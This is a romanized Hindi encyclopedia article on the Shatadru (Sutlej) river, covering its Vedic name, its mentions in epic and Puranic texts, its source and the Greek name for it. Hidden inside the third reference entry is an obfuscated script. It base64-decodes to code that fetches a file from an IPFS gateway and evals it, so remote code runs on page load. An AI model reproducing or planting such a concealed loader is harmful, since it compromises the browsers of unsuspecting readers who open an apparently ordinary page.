शतद्रु
[[chitr:Satluj-River.jpg|250px|thumb|sataluj nadi]] shatadru athava shatadroo panjab ki sataluj nadi ka prachin nam. rrigved ke nadisookt me ise 'shutudri' kaha gaya hai-
'iman me gange yamune sarasvati shutudri stoman sachata parushanya asiknyamarudvridhe vitastayarjikiye shrinrihya sushomaya.'[1]
- vaidik kal mean sarasvati nadi shutudri mean hi milati thi.[2][3]
- paravarti sahity mean isaka prachalit nam 'shatadru' ya 'shatadroo'[4] hai.
- hindoo pauranik granth valmiki ramayan mean kekay se ayodhya ate samay dasharath putr bharat ke shatadru nadi ko par karane ka varnan hai-
'hladinian dooraparaan ch pratyakh srotastaranginimh shatadrumataschhimannadibhikshvakunandanah.'[5]
arthat "ikshvakunandan bharat ne prasannata pradan karane vali, chau de pat vali aur pashchim ki or bahane vali nadi shatadru par ki."
- mahabharat, bhishmaparv[6] mean panjab ki any nadiyoan ke sath hi shatadru ka bhi ullekh hai-
'shatadruanchandrabhagaan ch yamunaan ch mahanadimh, drishadvatian vipashaan ch vipaanp sthoolavalukamh.'
- shrimadbhagavat[7] mean isaka 'chandrabhaga' tatha 'parudvridha' adi ke sath ullekh hai-
'sushoma shatadrooshchandrabhagamarudvudha vitasta.'
- 'vishnupuran'[8] mean shatadru ko himavan parvat se nissrit kaha gaya hai-
'shatadruchandrabhagadya himavatpadanirgataah.'
- vastav mean sataluj ka srot 'ravanahrad' namak jhil hai, jo manasarovar ke pashchim me hai. vartaman samay mean sataluj 'biyas' (vipasha) mean milati hai. kiantu ‘d miharan aauph siandh eand itraj tribyooterij’ ke lekhak rebarti ka mat hai ki 1790 ee. ke pahale sataluj, biyas mean nahian milati thi. is varsh biyas aur sataluj donoan ke marg badal gaye aur ve sannikat akar mil geean.
- shatadru vaidik 'shutudri' ka roopaantaran hai tatha isaka arth "shat dharaoan vali nadi" kiya ja sakata hai, jisase isaki anek upanadiyoan ka astitv iangit hota hai.[3]
- grik lekhakoan ne sataluj ko 'hejidres'[9] kaha hai; kiantu inake granthoan me is nadi ka ullekh bahut kam aya hai, kyoanki alaksheandr (sikandar) ki senayean biyas nadi se hi vapas chali gee thian aur unhean biyas ke poorv mean sthit desh ki janakari bahut tho di ho saki thi.
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tika tippani aur sandarbh
- ↑ rrigved, nadisookt 10,75,5
- ↑ mekadanald- histri aauph sanskrit litrechar, pri. 142
- ↑ 3.0 3.1 aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 887 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sau shakhaoan vali
- ↑ valmiki ramayan, ayodhya kand 71,2
- ↑ bhishmaparv 9,15
- ↑ shrimadbhagavat 5,18,18
- ↑ vishnupuran 2,3,10
- ↑ Hesidrus
sanbandhit lekh
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